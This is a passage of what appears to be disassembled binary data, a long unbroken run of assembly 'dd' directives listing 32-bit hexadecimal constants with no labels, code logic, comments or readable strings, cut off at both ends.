1D131471h, 88BEAh dd 0F4918239h, 0A6032F24h, 946958E9h, 718C39E8h, 0D04E019Bh dd 962747DDh, 28313BC7h, 303B9CF1h, 77632524h, 7985F022h dd 0D674B47Fh, 0EE20CE0Fh, 880A614Ch, 1F6E581Bh, 0BB8BC098h dd 0F4DBBD76h, 614BCA0h, 9194C80h, 0F54B6EA7h, 0A0985850h dd 0A80D7FEh, 0B51009B6h, 6CE26204h, 28800CB7h, 3DF94311h dd 91E2707Ch, 0DE442C88h, 5D356402h, 0C0C37579h, 9CE457E4h dd 0DF3F0330h, 610E028Eh, 4C4B19F9h, 4074E0AAh, 231087A7h dd 0E89DBC8h, 42058404h, 5E3FBC44h, 24542200h, 483C466Eh dd 3180B90h, 900B4478h, 8223271h, 4025B8B8h, 4BA77E74h dd 1C06BE7h, 907CEA14h, 3360C626h, 57594A8Bh, 23702F08h dd 0BAE6009Fh, 686B57ADh, 7A0490F2h, 34115C8Ch, 7C7A0A4h dd 481332F0h, 8B4422D0h, 3312CC74h, 7AC08Ch, 0FC2D1ADAh dd 1F585702h, 0CF229800h, 5CF4346Ah, 0C628A025h, 948BACBh dd 51689AF2h, 0F894ACD8h, 7B1C00DCh, 0F053FEB4h, 0BB5A204h dd 0FC641064h, 76FF2ABDh, 0C15882D8h, 221005B8h, 0E90123E5h dd 77FD5B5Eh, 7CC0B00Fh, 3825BF69h, 0A44080EEh, 5A00378Dh dd 0D4C3CE3Ch, 5CADDAFBh, 1A031277h, 9061F833h, 0BC5409F2h dd 27EBBF88h, 0A9190460h, 494A6E12h, 303451h, 75D230F5h dd 0F752B6h, 53BA5902h, 24D5ECE9h, 1915B05h, 54CC1176h dd 7C812A9h, 0C35C0CE8h, 0B2606919h, 918C4851h, 0C9141DFBh dd 22C89290h, 68C00BD4h, 63037EA8h, 0CB972C81h, 0D4A1A243h dd 681725FCh, 0DB80E291h, 37581FF8h, 1ADE5F04h, 0C80898h dd 0E45B05E0h, 0C0177425h, 0FB888D6Ah, 5720BC4Ch, 8144F90h dd 7F510918h, 1C04301Ah, 2FF4178Bh, 0C028E213h, 318AB46Bh dd 0FCAE26F9h, 4B912F4h, 0C85A3D4h, 481C6861h, 16045C6Dh dd 3CCD8D2h, 0F63460F0h, 0C08F0218h, 6F8DE08Ah, 0A0F1E0F9h dd 831C0D18h, 94EE5A74h, 7C85FEC2h, 3C338230h, 0A605C945h dd 4238CCB9h, 99540FF6h, 72897852h, 0FB891420h, 4899E5F8h dd 0B81C0C13h, 724F5930h, 8A903F2Bh, 87D4DE4Bh, 199DC9Dh dd 0AF1460F0h, 9729F100h, 2B43C813h, 58F26090h, 0B080B724h dd 4080385h, 78FCC09Fh, 699240BCh, 0A7882954h, 0A1CEC16h dd 41B02422h, 0C7CDA80h, 10C8AC84h, 954412D0h, 0B4A288C4h dd 5A3039E2h, 0FA310F8Dh, 534997B1h, 0BF41CC40h, 706F63E0h dd 0DE22D080h, 9EFD4300h, 3C361E44h, 0A8C56135h, 6E1A5446h dd 0F8CFEC0Dh, 23143B7Ah, 0EC240274h, 0CC446A16h, 0B352B700h dd 3CF80A46h, 40390085h, 2460497Bh, 0E1011E4Dh, 299481ABh dd 8805CDBEh, 6E0741D4h, 0FDDF15DDh, 4D042FC0h, 8CB937h dd 6F7B30DAh, 8A04FF70h, 0CFA2D24Ah, 7684E88Fh, 61D032CFh dd 54F4F636h, 17A49E51h, 5C180B30h, 0F013EC58h, 60819C90h dd 0CDFB0311h, 0C60E442h, 0D96C71A2h, 0E21836h, 6ECD2788h dd 4D98B28Ch, 0ED4C1973h, 882980E8h, 0B5797ED7h, 20919827h dd 3957689Ch, 348EC07h, 2C082CEh, 4E463C34h, 640891FCh dd 4300070Eh, 5C8FD4h, 0ADE19ED2h, 6FCA862Fh, 0C4B61401h dd 18408EFBh, 559DD188h, 9AF52700h, 95EFDE6Ah, 0C4013C44h dd 4AC53B52h, 0F46CD654h, 0C81B0E7Ch, 81B21E13h, 4878F2BCh dd 2B0B8598h, 8316A6ADh, 0C0C49E04h, 0C11A0C39h, 642E4A11h dd 9C313EEDh, 9FC568F2h, 64FB8700h, 0E7F930BAh, 0DFD8A0D4h dd 0E249E813h, 0BC9A5C13h, 0E60C17C0h, 0A827AA4Fh, 22E0E8A7h dd 0FB5707DEh, 7E1CBB91h, 0BFB5ED80h, 0D53F1BEAh, 2A9002CAh dd 7A85DF26h, 0DD1CA074h, 8A15802Bh, 40082338h, 0E891120Ah dd 0E630C8B4h, 0C8A769C9h, 0B67C34h, 8C97D6Ch, 49218357h dd 73F339h, 3918D858h, 2E37F111h, 430D65Bh, 0FD863BBCh dd 2CE91054h, 8E544C04h, 8BCA977h, 2FAA1C4Ah, 0AB4B8084h dd 396CD473h, 0A878F221h, 246454BCh, 1506CDh, 8C181601h dd 0C275D0F3h, 0F47A6704h, 4BC30FCh, 0F2ECC884h, 8804171Ch dd 0A1236C3Eh, 823A0Eh, 0B0FA9EDAh, 238613A5h, 0B6A8F028h dd 9806A42Ah, 0BE913F00h, 9E83656Eh, 0C3B40CF6h, 479033A9h dd 111A2021h, 47C7E3Ch, 84C46C1Fh, 1054E627h, 3BE47D5Ch dd 3E2D44h, 0C8F4791Ch, 6B48BC05h, 0A35908F9h, 0DA00FF18h dd 0AA402F02h, 0BFC6C0Ah, 0E458D033h, 78900850h, 778128B9h dd 0AB76E67Eh, 1B20327Bh, 59E8F90Bh, 1B1838h, 75181C3Fh dd 446E26A1h, 0F2210760h, 88084Eh, 9EFFF6F4h, 58F0472Bh dd 3C00285Bh, 0B0E4A1EAh dd 1BFD2D8Fh, 0A0390070h, 90441655h, 53C97490h, 5DF812E5h dd 0D51C045Fh, 5B94E42Bh, 0E9F5048Ch, 0B8E5451Ch, 0FE0AB0C8h dd 227300E9h, 39922C9Fh, 8073B89h, 0AA4B70A3h, 112B86C0h dd 76B8BEF4h, 96CF7B21h, 3CE40FDEh, 58132590h, 91382064h dd 10C4DC90h, 4304B014h, 0D03CE436h, 0AFAC9019h, 4888C529h dd 0CD4988E0h, 96EC1FCh, 0E72EF04Bh, 0B66A0408h, 0DFC6007Fh dd 4A51A161h, 0DE1BBC07h, 34A55731h, 2F900082h, 0DD49A920h dd 0F414C5D1h, 2BC0C24h, 54341E45h, 4A085839h, 0E23CE225h dd 0F80430D4h, 0DF204A00h, 8855ABBEh, 0D69C757Ah, 10CC1E78h dd 454A04DBh, 30A8CA5Ch, 1D543104h, 88008F42h, 0DF91C1DBh dd 1EA833C4h, 7C60C55Ch, 7EF4A46h, 0B595B16Ch, 2798208Eh dd 0AF05A331h, 0B87B01Bh, 0C0211CC0h, 44AD099Fh, 0E829438Ch dd 0A211109Dh, 628FBE80h, 343A5295h, 6BB48DF3h, 54FC888Bh dd 61304F59h, 0A9CD18h, 1650B991h, 303FCC31h, 2C7E449Ch dd 0FC909778h, 9388537Ch, 0B683A05Fh, 4B5090Fh, 0E4681148h dd 0C897EAC3h, 0C9CDB61Ch, 8490A670h, 2E004D1Eh, 0EB7EC836h dd 0BF2F977h, 0AF2A0163h, 3BD960D9h, 3601FC18h, 0F15E6517h dd 0E829F2B5h, 0A0D91F25h, 2CB4FC03h, 5E0BC203h, 21458428h dd 0F160F217h, 0FD0CCF7Bh, 0C445098h, 9A2724ECh, 258B3AB0h dd 18647963h, 144F6E28h, 48BE5707h, 5E63A7Eh, 77B60989h dd 0A47E641Ch, 0B48FE041h, 0F1B5418Bh, 542AE464h, 3315E81Ah dd 0B0D13Ch, 5DC99229h, 0C5D56A0Ah, 8D548F39h, 3A6C2DB4h dd 889A4402h, 0E303E172h, 0C3AD86CEh, 19AE0046h, 0C2ED840h dd 0CC968F05h, 0BA386063h, 9CF8AA92h, 71D94674h, 9845CA0Ah dd 7C161CECh, 50D00CB0h, 81AC583Ah, 5EE069FDh, 0F2EEC6Bh dd 0E554096Ch, 70886068h, 25031180h, 4D2D91Ch, 0B8D28115h dd 0E8D848C0h, 84098C75h, 818EADD6h, 928DE064h, 7907B6Eh dd 0CBA13E3h, 191176h, 14719927h, 2816D7DFh, 0CB4D8B8h dd 0EB501025h, 725724BDh, 50112510h, 0A4AC15F0h, 87189820h dd 0CF41DC1Bh, 0B0164ADEh, 0D713F2A4h, 0C42F2430h, 5100D523h dd 7C934AF9h, 11801B6h, 9D2370D4h, 482F7BC6h, 0DF00D823h dd 0FF8307B4h, 0BBF308BEh, 7E165C90h, 0D9F2C8A2h, 0B083130h dd 0F0F4779Ah, 6897A0FAh, 0B7A751C4h, 3D91BC1Dh, 0B5933880h dd 40959756h, 4A7B6358h, 2B54A0BDh, 30CE2820h, 0A191C690h dd 9805A0FDh, 9222E6E7h, 6E4B1CA2h, 0B6E000ACh, 3AA54CE4h dd 6A3EC428h, 0AE409460h, 8300A86Eh, 786381BCh, 960B492Ah dd 2877D4Bh, 0DF1F50h, 40D5042Fh, 71163894h, 9BC8088Bh dd 0D01075C7h, 0B78DC878h, 0C710F0A2h, 88A7D913h, 9CEC9C6Ch dd 1895128Ch, 3BC488AFh, 0CF875Ch, 3464908Fh, 20CDF4Bh dd 0DFAFE5Eh, 0A4FC4D14h, 5827C440h, 269F0053h, 13AA5769h dd 0A04A31EDh, 0D5FE3001h, 6E3F5AC3h, 0CD830074h, 84D6801h dd 53B12EABh, 8D380998h, 3C64CCC7h, 0A5C5D560h, 0CE70D238h dd 4C853809h, 70FCB144h, 3886CF76h, 4A00DE26h, 34DC424Dh dd 77242FC5h, 250800D9h, 0BC44050Ch, 178D0B7h, 0C63CA665h dd 0D423A4A3h, 0F2465Eh, 0C7BC77B2h, 0FA46FFE3h, 5C1401DEh dd 45910A3Eh, 8B4C3875h, 24A8512Bh, 0F2465C30h, 3D5D1F71h dd 9AB4C0D9h, 885A6C56h, 0FD642312h, 1E0154B9h, 5CCEDB8Eh dd 4B60382Ah, 3AE318B6h, 0C42EC6E8h, 90ED6A04h, 84A2A815h dd 8453E017h, 7ADCEC00h, 8C4600E9h, 0E87B4D13h, 10B8F74Bh dd 127FCDC8h, 1C647B62h, 92A71020h, 8CA8E0B9h, 0FAF29002h dd 0E6A01AB8h, 0B4461648h, 0CF90A0E3h, 25C085Dh, 0F2FC9742h dd 0D090B0EBh, 720926Fh, 19068AF9h, 49593023h, 2602447Dh dd 338C58DCh, 0F6D6E0B7h, 4D5425C5h, 0D8C45867h, 30422067h dd 0AE25F24Dh, 61C82069h, 43626B0h, 143380A2h, 2A2CC9FEh dd 77C8788Bh, 298C9FC0h, 866004Fh, 537FFAC3h, 0C12069D4h dd 1029E588h, 0B932D200h, 274D89C8h, 8DB72407h, 3B0041ADh dd 0FF8E11Ch, 1ED78E19h, 88048BD7h, 0C7A6C0D5h, 85003BB1h dd 945AF604h, 5F039014h, 0FA5C8CE4h, 8860A18Bh, 0B438DC31h dd 49F0731Eh, 14048ACCh, 1B4FD6Ah, 0AEF91510h, 25D84157h dd 32D700BEh, 56FC0203h, 0F2555963h, 90013090h, 0B525B4A4h dd 0A718A708h, 5E282069h, 0DA1EEh, 6E3A401Eh, 301D5AF4h dd 7F31F200h, 48F65829h, 17E1C045h, 8EC3AB59h, 7208D948h dd 7CE63140h, 38E55885h, 0E1F2B50Dh, 0C1883869h, 34F13C2Fh dd 528C6200h, 774EC140h, 0EDC20108h, 0E15A441h, 3C023EDFh dd 0A296CF4h, 947A25B0h, 104B7B7h, 75CD08E3h, 0C0CF2B11h dd 3DC03788h, 32AAC9Bh, 0DBA3A1FEh, 0D84B8A76h, 6A4F8C42h dd 910C5E33h, 10F278BDh, 6909809Eh, 0E11864FDh, 8742A711h dd 0E0F02069h, 91637CE0h, 6C220132h, 79CC044Ah, 20203B15h dd 7F114F4h, 0F7A302ECh, 7BD7A0B4h, 0C2025A5Ch, 0DE3BD966h dd 0BA84E94h, 0B60458F0h, 6E189C6Eh, 43590944h, 0CCE8952Dh dd 30113B6h, 889CF24Fh, 8B3BEBACh, 0C0F2C838h, 8402919h dd 0DD905C0Eh, 0F1B803ACh, 2EEDC179h, 58018C2Ch, 6B2D3C60h dd 1C8B10B3h, 48F700F5h, 0BE9ABBD1h, 797E82FFh, 25A16C63h dd 4E2CB063h, 0E9150124h, 8885BDD4h, 0DFB4F031h, 62054892h dd 33FD1E22h, 41060E6h, 8FEB8701h, 60F370F8h, 0A7E068B0h dd 12853C88h, 0E063C444h, 304A7984h, 24A90C24h, 94B0A922h dd 25DB8C22h, 0FCE60B3Bh, 3F1C7752h, 0FC306414h, 883005BFh dd 4BF0B83Bh, 2FCD68F4h, 8036B69Dh, 29CC8E5Ch, 389138E2h dd 41DABC50h, 4B1060C9h, 2A4C49Dh, 87FF14AAh, 0ACE8900Bh dd 7CA148F2h, 86002089h, 0E80B8C1Bh, 68FCE530h, 44A1358Ch dd 0EDA642Fh, 0B89517DCh, 79D1A4B0h, 220A57Fh, 0BF39A564h dd 0D20E5C01h, 4C0C20BEh, 0FC183E9Dh, 73E95214h, 287043A8h dd 39629042h, 819ECFE1h, 0AD9C5984h, 1410F079h, 0A54A1220h dd 642A7420h, 5EF0012Eh, 6852B0C0h, 0EE9180ADh, 0EA57BCF4h dd 882807A5h, 429BD2DEh, 18F4E42Bh, 6562B400h, 1BB65Ah dd 0C5FC31FDh, 0CC92E8DFh, 0FF6DD200h, 803B130Eh, 344932FBh dd 0BD806720h, 0FF9D879Bh, 31E1A300h, 3203208Fh, 581B1A49h dd 786081B1h, 75006EB8h, 3D11D00Ah, 103397h, 0CB06B7F0h dd 78393FB1h, 30483400h, 852065F9h, 310B04Fh, 4DEA9229h dd 0E0A7905Dh, 0F2872C17h, 94688C05h, 2BAACC1Dh, 9655A1ECh dd 50A4C020h, 3CF6F8F8h, 0A318B3C0h, 7F991866h, 0D39808DDh dd 0C6EB5F18h, 188E6D08h, 38F0C431h, 10BD3A26h, 120D2B1h dd 0B99E01A2h, 0A82010BDh, 3029B631h, 0C50191C8h, 0FA088C6Dh dd 408E18F9h, 0CD62CB07h, 33E0638h, 1038C4EBh, 6F84C061h dd 899830F6h, 8C43C04h, 0F4069E43h, 0A820201Bh, 4EE02051h dd 1822B231h, 0F3014C75h, 6351984Ah, 0C6DDD208h, 8B0C968h dd 1876AC31h, 8950AE2h, 0DD18841Fh, 0D65A1079h, 8AFE1CCh dd 0C1626416h, 0B83306D4h, 0EE673108h, 8CCACC78h, 282EB210h dd 84165FBh, 8DC4461Ch, 33310872h, 0C1713020h, 8C16BC01h dd 802BF10h, 99CCA8EEh, 5C08C4A5h, 0DC60675h, 0AAC8829h dd 0D308C405h, 0E1190649h, 321D3150h, 8B435E10h, 0ADF77208h dd 0FFF5C11Ch, 0F0A23D02h, 5603AAA4h, 4C081873h, 1DD820AEh dd 0A8519481h, 0EE010B5Ch dd 0A5C80208h, 804F8E98h, 0CA2A3039h, 0BBC433F8h, 3910C210h dd 6F2A6A9Fh, 979220E8h, 8716B31h, 51016526h, 42700189h dd 88F27E01h, 0ABCBA50h, 0B8841C3Eh, 0A1151062h, 6C3D8A4h dd 62106943h, 0C5BCF9ADh, 114C7C4Bh, 8A106381h, 7C281895h dd 2D120898h, 0C5F11380h, 4C560E28h, 9430DBC4h, 21BEB9CCh dd 0C190A888h, 6D08C617h, 3A3228D1h, 0A3CC08C6h, 3119E4FCh dd 34A97B20h, 9DA601D2h, 0B1309401h, 7B9349F1h, 1A0F1088h dd 0C57E208h, 0E8083166h, 91181365h, 0B851F84Ah, 20ABB28Ch dd 83D623Eh, 56028D2Bh, 28C0907h, 0D4A88F08h, 10CC0993h dd 444319DCh, 0F2836FD7h, 0FC180287h, 0C046AB05h, 3108FD76h dd 862060F1h, 89701AFh, 1058888Ah, 0EDC1BFD8h, 11288A4Bh dd 28AA804Dh, 496BE120h, 0F810DC6Dh, 26401873h, 818CE310h dd 0C9AC51D3h, 48109594h, 0E0F51080h, 10026210h, 45100A1Ah dd 8B15105Ah, 98B19D31h, 0C1088CD9h, 405E302Ah, 0DC63EB54h dd 5BD4618h, 0D2634808h, 65A08869h, 3CBF080Bh, 0ED782745h dd 44E4668Eh, 6DD70010h, 0D10F38D3h, 0CA0B467Ah, 0A5674094h dd 0C481A43Ch, 6FFC5ECBh, 9C860172h, 2D39F2BDh, 0EAFD08Ch dd 0E8B2B85Fh, 0B701C44Ch, 79027E6Eh, 0CFA5D814h, 50CEA772h dd 96EEE61Dh, 33FF7C98h, 0F2186E48h, 4B292FF8h, 0D591CA01h dd 4012F944h, 7641B880h, 0C311E645h, 0CCA51E0Ch, 0E4F740BDh dd 88A9C184h, 0E068F4A7h, 330FAF64h, 8051EDA5h, 0CFFAE9DBh dd 28A9609Bh, 0CB8A18B7h, 0C889082Dh, 0EB8F44h, 8C25488Bh dd 2DC54623h, 0DDD0881Eh, 324D200Eh, 0F524ACD7h, 10BB90B0h dd 0F7584A4h, 0CC9DBE1h, 5F91D901h, 0B69893ECh, 80B12BE1h dd 2DC7D619h, 3089D34h, 0DF5AC988h, 56836A1Ch, 0D301587Eh dd 0EB8C87E9h, 90E88A17h, 0A8E46293h, 0F8F01F27h, 0EB7C890Eh dd 10A64CA4h, 14B47887h, 3CD49216h, 2EE9F009h, 2525285Eh dd 6AC2F360h, 684808Ch, 1E642F12h, 0D27044B8h, 4CF8F448h dd 6AB6801h, 0B3CF2EE2h, 961F5C28h, 0DB120A97h, 345014F4h dd 28FA7E1Bh, 25046CE2h, 5B2803FBh, 901E8E4Ah, 71F3D46h dd 31B7898Ch, 60907C62h, 551970BCh, 0DF03F194h, 0A5987A83h dd 0B0C66Ch, 0E77BD192h, 0DA4A276Fh, 9D508A98h, 0FD015094h dd 0F26CF640h, 1C222EE1h, 5E86CF00h, 0A2F09FCEh, 0A18FF803h dd 38BB2DA5h, 7D306950h, 29704FB8h, 0D9941350h, 27592E00h dd 893B026Ah, 0CC820F14h, 0A099B490h, 0BC26F417h, 9327F8C5h dd 0D5469420h, 8890258Ch, 3141800h, 0E9730701h, 4F2A8F7Ch dd 0FA22DCBEh, 739C404Dh, 50D8C29Fh, 0F6790098h, 6A335857h dd 0E0C998EDh, 0FB04002Fh, 1EC705h, 9F08B0BEh, 1DEBA97Eh dd 0CEED9202h, 404D634Eh, 9F50990h, 0C3888F2Ah, 1927A424h dd 97C5A6A9h, 80174053h, 2DB3E5Dh, 0A4D81F9Dh, 5049E04Dh dd 33EC55D5h, 5000F010h, 0AC2C9905h, 607890ABh, 21E758D0h dd 0BC1CFF61h, 159C3031h, 847DE940h, 0C55BFB68h, 444827C8h dd 5189044h, 0F4B0C5FDh, 0C9EE0763h, 3527642Eh, 5AC48CAh dd 29D44708h, 90A51EC4h, 788B2498h, 18A3109h, 0A0C22584h dd 0B084E194h, 10EF6073h, 9E95D88Ah, 251DEAF8h, 0A049316h dd 40811F4Eh, 90308481h, 647804FEh, 90F79A88h, 4880F6C0h dd 868720Ah, 6309887Ch, 0DA3408F0h, 1C010B12h, 0D21AE5B7h dd 109A1DC1h, 10BBC8F2h, 0A7F0B805h, 0AC21EE90h, 3C32C008h dd 62C0C67Ah, 0F91D282Dh, 1709502Eh, 0CFE01013h, 0AC3448DFh dd 3FC9538h, 0BAD3FF2h, 2AB19028h, 0E98C41F4h, 846AC6h dd 604A0A82h, 2C9FF058h, 1CCDA7F8h, 0FC00FEE0h, 1DA8C26h dd 0E9F0312Fh, 22876914h, 7E4E0FD4h, 5CFF06FEh, 50D1C711h dd 0F01BA81Dh, 1584C138h, 5EBBA089h, 0CA0AF400h, 0F224AC2Eh dd 7C503C01h, 8F499D5h, 2500BBADh, 903F621Dh, 0A9052733h dd 0B87230C3h, 3BD41749h, 8FB59C11h, 225680BEh, 2ED7BE92h dd 967C0090h, 4527CBB0h, 7604233Eh, 595CA508h, 90D618D3h dd 5FA9654Bh, 5478C025h, 5930687Eh, 8EE8D8A1h, 0B85200C9h dd 274AD18Bh, 89068A46h, 0D80790C6h, 121602B8h, 581B1DBBh dd 8F09FC64h, 13FE339Ch, 144AD15Ch, 0A5238440h, 2866602Ah dd 0A9287453h, 0CC6D0624h, 49C5ED03h, 1EC1B0A1h, 0B9920323h dd 3E0751FBh, 3C64BBD0h, 327F100h, 4B453730h, 28909A5Fh dd 26D0E331h, 0A43CF613h, 0D0877AD0h, 0D60140F1h, 0A30835E1h dd 281075AFh, 78D100E8h, 0D06BC2D9h, 0E951908Ah, 0FC843008h dd 4250CF71h, 624CB8CCh, 8A0A01D4h, 141C5A0Dh, 4CCC822Ah dd 590380C6h, 0BDD0C242h, 1566D82Ah, 0BFB14CDh, 0C6069087h dd 5035C7CFh, 18A4BA0Ch, 58FA388Dh, 0F524C4C5h, 104EC710h dd 6FAA9AF4h, 63378A0Ah, 0CB2D4035h, 80AECA1Ch, 0A5275880h dd 2046810Bh, 7448B898h, 0D81189A4h, 31F92C44h, 0D0020F78h dd 7EA4A057h, 23353701h, 9B801525h, 306871FCh, 2AD082FCh dd 3A2EC72Dh, 4B00ED95h, 0C2CE645Ch, 639824A7h, 0DE901DE0h dd 50B0324Ch, 44298491h, 24488C8h, 0A5A83004h, 0F3025A24h dd 0E87CE250h, 34D6D022h, 812574C0h, 1E5974EBh, 172C893h dd 0EFD27ACDh, 0E190255Eh, 181DE048h, 8B08C0C5h, 47697402h dd 0E0888AE5h, 0F8649196h, 4057D480h, 5FD89587h, 0E0DFA525h dd 85550Ch, 0BD39117Ah, 1B4C4D34h, 0E020B509h, 89588429h dd 7692C080h, 0E57E053Eh, 92173A69h, 0A8817B44h, 0EAD59025h dd 0C09A7902h, 244E1Bh, 0F8A5E74Bh, 337DAF5Ah, 0A606809Bh dd 1D80DD32h, 286D96EAh, 0BC691528h, 1849C081h, 0F15384h dd 171CD229h, 0C26A0154h, 97A73D95h, 27A2402Fh, 31C49F53h dd 91053793h, 908420E9h, 0D8A04BF6h, 3790119h, 6B00F87Eh dd 92FCAC08h, 691EA4Fh, 792795BAh, 7379189Fh, 6A15EE0Bh dd 0A724E055h, 8C312C8Eh, 5D7C3A28h, 93003C0Ah, 4A6732B9h dd 5803151Ch, 0CA52AD0h, 49CFCA77h, 16B8518h, 0A3EB1578h dd 1CE86323h, 198201FFh, 5ED07381h, 5221640h, 5BED5FCh dd 82F05DECh, 6881ED94h, 0D80DC20Ah, 20B2C6E2h, 266908F1h dd 8010C9E4h, 81EB2592h, 66034AE3h, 108B0AAAh, 1C6A9E7h dd 6925B8C3h, 0D39010BDh, 68560Eh, 0F6EB732Dh, 0E4743C5Bh dd 0A51B08FCh, 0FF0310C3h, 0C0032250h, 9A9A9082h, 0D603194h dd 0F9BFF0h, 17E6EB29h, 128A27BBh, 1C6C1434h, 2A18D110h dd 84289045h, 445DD05Fh, 0EECC10A0h, 347A2673h, 0EC8F027Ch dd 0F8E08E8Bh, 904985D8h, 4C449374h, 8A35F7C2h, 0D85B1928h dd 0BC427918h, 0A480C0E1h, 0D02C6A9Fh, 0C9253BD8h, 58698C21h dd 82F072B7h, 0EBA3FCA6h, 0E190D02Ch, 218C0EFh, 8250F32h dd 0B7ED2A02h, 0C0481844h, 1A779F58h, 59EADD84h, 7C401C62h dd 3501BDF4h, 961D73B7h, 1080BB9Eh, 0A86D1B4Dh, 0D4B286A4h dd 90F31204h, 74D1B84Ah, 66CE2A6Ah, 9005FBFCh, 0A33327CCh dd 8C2529C0h, 62C6F3Ch, 43A4E684h, 0C33180D2h, 6E23F8ACh dd 90E11103h, 7E00CA24h, 39317829h, 4901FA28h, 0FFF1133Dh dd 2F8C8BBBh, 8080463h, 0C852D119h, 0B6000384h, 5C1B3FC6h dd 9F7D1Ah, 4E1ED591h, 0B77FDC4Ah, 2FBEF60Fh, 75C40FAh dd 55896887h, 0C800B0B4h, 7DD98B9Fh, 587C5CFBh, 9E880883h dd 64F31926h, 0E40B6D1Ch, 0AA780075h, 91264190h, 5758405Ch dd 4B0FF97Ah, 83718CBEh dd 0A00FAE48h, 3C823BA3h, 21A4906Bh, 0F8CA1438h, 6C42FB8Eh dd 605A1193h, 54B45F49h, 0CB5089D4h, 8E38B6E8h, 0CD510E8Ah dd 0AE23C584h, 0DCF0E0C7h, 2568ABB3h, 740F2FDEh, 8C0029EBh dd 0AC6A8D11h, 0CA979617h, 0B753000h, 30A528A1h, 6080B9F7h dd 7EE99078h, 0C8758000h, 18069DAEh, 5063F96Ah, 7800B85Fh dd 15A78F47h, 38BF02Bh, 90802585h, 3800671Eh, 48322146h dd 27CFF516h, 4C04F6C8h, 1EB481CEh, 0C3AC444Bh, 0F800A160h dd 6305FC17h, 0A2B2E7h, 4D409F08h, 0D803E199h, 7AB7A605h dd 0B612F05Ch, 0C308A831h, 0A4895828h, 7C61BC42h, 3FB0301Ah dd 86A5F600h, 0CFF79AF0h, 16824E2Ch, 312862B4h, 8C593062h dd 1ABD9085h, 834DC001h, 0FDF8CD13h, 0A0950527h, 801231DCh dd 41C07FC8h, 8D010D7Ch, 7E9A77D7h, 5AD2EDA5h, 33DA0258h dd 4721AA55h, 0D4172868h, 70701D81h, 70D76485h, 4F08A423h dd 0C5CC6812h, 0F25F4802h, 90DC53D9h, 90AC0805h, 8D0A40E7h dd 7E1F570Dh, 0BA72D3Ah, 4468323Ch, 3E873488h, 0B6800449h dd 4EE49C44h, 2821224Fh, 0F201E816h, 286439E9h, 0FC0BB4DFh dd 8BDA8C36h, 0F3D8A220h, 88660025h, 0A72CF6B0h, 52423C80h dd 30866E6h, 0E5EE6A27h, 103862BAh, 641A2E90h, 0B22B4F80h dd 5BCF9ECBh, 0B508C06Ah, 2A2A6B44h, 23425445h, 80DB2D18h dd 278003A5h, 0D7890032h, 1E4E853Bh, 0D002C1CAh, 339DA70Bh dd 12785992h, 64B00006h, 0A74E9690h, 706F6C99h, 9B178842h dd 537C0328h, 0D9D0CDCAh, 90A41143h, 0BF0775Ch, 40FDF569h dd 149838h, 4F84D253h, 0A4B96420h, 10D08C24h, 1CBE780h dd 20882ECh, 2E9847A5h, 43E313E2h, 0AA2F009Fh, 0ECB94E4Dh dd 0FFCA4A85h, 8B612888h, 32CBC018h, 286A16B0h, 7849B7Dh dd 82E5CDACh, 2A011E59h, 0E21490D8h, 0EA5540E8h, 4841C638h dd 0D0B30060h, 21CD2264h, 0A0880665h, 484E9368h, 0C9F26212h dd 35442871h, 9F660401h, 0E7151750h, 8867D214h, 27D63D23h dd 0D0A94018h, 0B4D25E00h, 0E8921189h, 0B7964C17h, 56556C04h dd 27B0D014h, 749EC73Eh, 0DA7EE34Eh, 0C2A5AB4Fh, 8068D2D1h dd 10B0F5F0h, 4614090h, 0A52FFD33h, 4C09E084h, 19000E5Bh dd 0DC287550h, 0F8195C88h, 0E865B94Ch, 0E8FFAC40h, 44F60537h dd 0D21F8190h, 99032D18h, 30D8421Ch, 65C2924h, 0D0582269h dd 0A51E5C09h, 8518E395h, 0BF00ACCEh, 0E9C32D0Dh, 70902FF6h dd 0CBAC5401h, 72CF06CCh, 2B73074h, 0B8871B4Ch, 50603E5Eh dd 7130A134h, 0E7F118ACh, 0CF370AE0h, 21B0A376h, 520760D0h dd 4C3C8BC7h, 90B40151h, 0DA5374BBh, 419D7020h, 0DD363056h dd 476A72Ch, 9880DC12h, 4832B761h, 0A4075814h, 0C77EBBB3h dd 0D19EE4A5h, 7099961Ch, 8016AEAh, 0BEF09106h, 87DC75F4h dd 2D69EC36h, 9C8288A3h, 0EA027D38h, 8268D0D8h, 6820557Ch dd 0BA58F87h, 2F540h, 6DE663FDh, 1301BFD2h, 180670A5h dd 8470CD8Ah, 0ED912DECh, 34D0243Ah, 421D4F09h, 5586911h dd 8D073463h, 0FF1E79A4h, 0D808BF09h, 0CDF41208h, 0B9838B8h dd 0A2342F27h, 50DC1D4h, 1A78C087h, 9C96C98Ah, 68828F65h dd 23A84048h, 365232A5h, 0F8C8F618h, 44903B13h, 0E2A9692Fh dd 92585828h, 0A1649A14h, 0F1800F44h, 15D91D54h, 0F8C06D0Eh dd 179E5570h, 0A1E6FC6Ah, 746303ACh, 0B8C0392Fh, 0C8258A1Fh dd 4C8CE884h, 2DE8B869h, 0B4102ECAh, 0F37E22F5h, 0F2D28802h dd 0E6583ECFh, 515CB054h, 2AF0C41Bh, 0C269062Ch, 0D00290A4h dd 0EB94891Dh, 0ED7E8FFEh, 4C0160C5h, 2E4547F3h, 18A488D8h dd 8EE7A0CBh, 0DAD4C650h, 7E085A1Fh, 8486B7C4h, 7372F8E6h dd 0D870CB15h, 7799405h, 319CE189h, 382C7746h, 94B68A20h dd 0CD495420h, 0C1FF0EE8h, 63AA8297h, 908E40Dh, 0CADF058h dd 2928D0D2h, 58B8F0A7h, 0D1F9BC30h, 585127C9h, 0AFC06CC5h dd 3B970E75h, 490DE400h, 0CF084BDAh, 0A4724920h, 591F2501h dd 0F3F3CA7Bh, 18013DABh, 0D276B720h, 10849C43h, 805EB9FFh dd 0D5531677h, 4B3E20B0h, 0B0B71262h, 6A14AC01h, 9842C6CAh dd 38696087h, 0F598C5E8h, 0CB33C750h, 100220C8h, 9FF11500h dd 0AD689AD0h, 5038C2FAh, 479FBA0h, 0C7060100h, 6489A2Bh dd 0F8CF0CC3h, 5C989051h, 2C573F20h, 1D748FECh, 800C8BB6h dd 0F590C0C8h, 0A80DA73Fh, 0E0008469h, 2E0CA082h, 1CBDD73h dd 477DABC7h, 4188DBCFh, 380691F8h, 0E9E30F40h, 0E674C057h dd 2C90699Ah, 8068A89Ch, 1C3FEC93h, 3CF8255Dh, 8000CE5Ch dd 157D20B1h, 308F0092h, 0FAB7EB12h, 0B0968C26h, 0B2A8F666h dd 9E88A024h, 23D6099Ah, 0F048AC88h, 0D55CA927h, 9040C9B0h dd 4A83CE20h, 31102834h, 480C05BDh, 5F2370C1h, 6ACCB074h dd 0C254A192h, 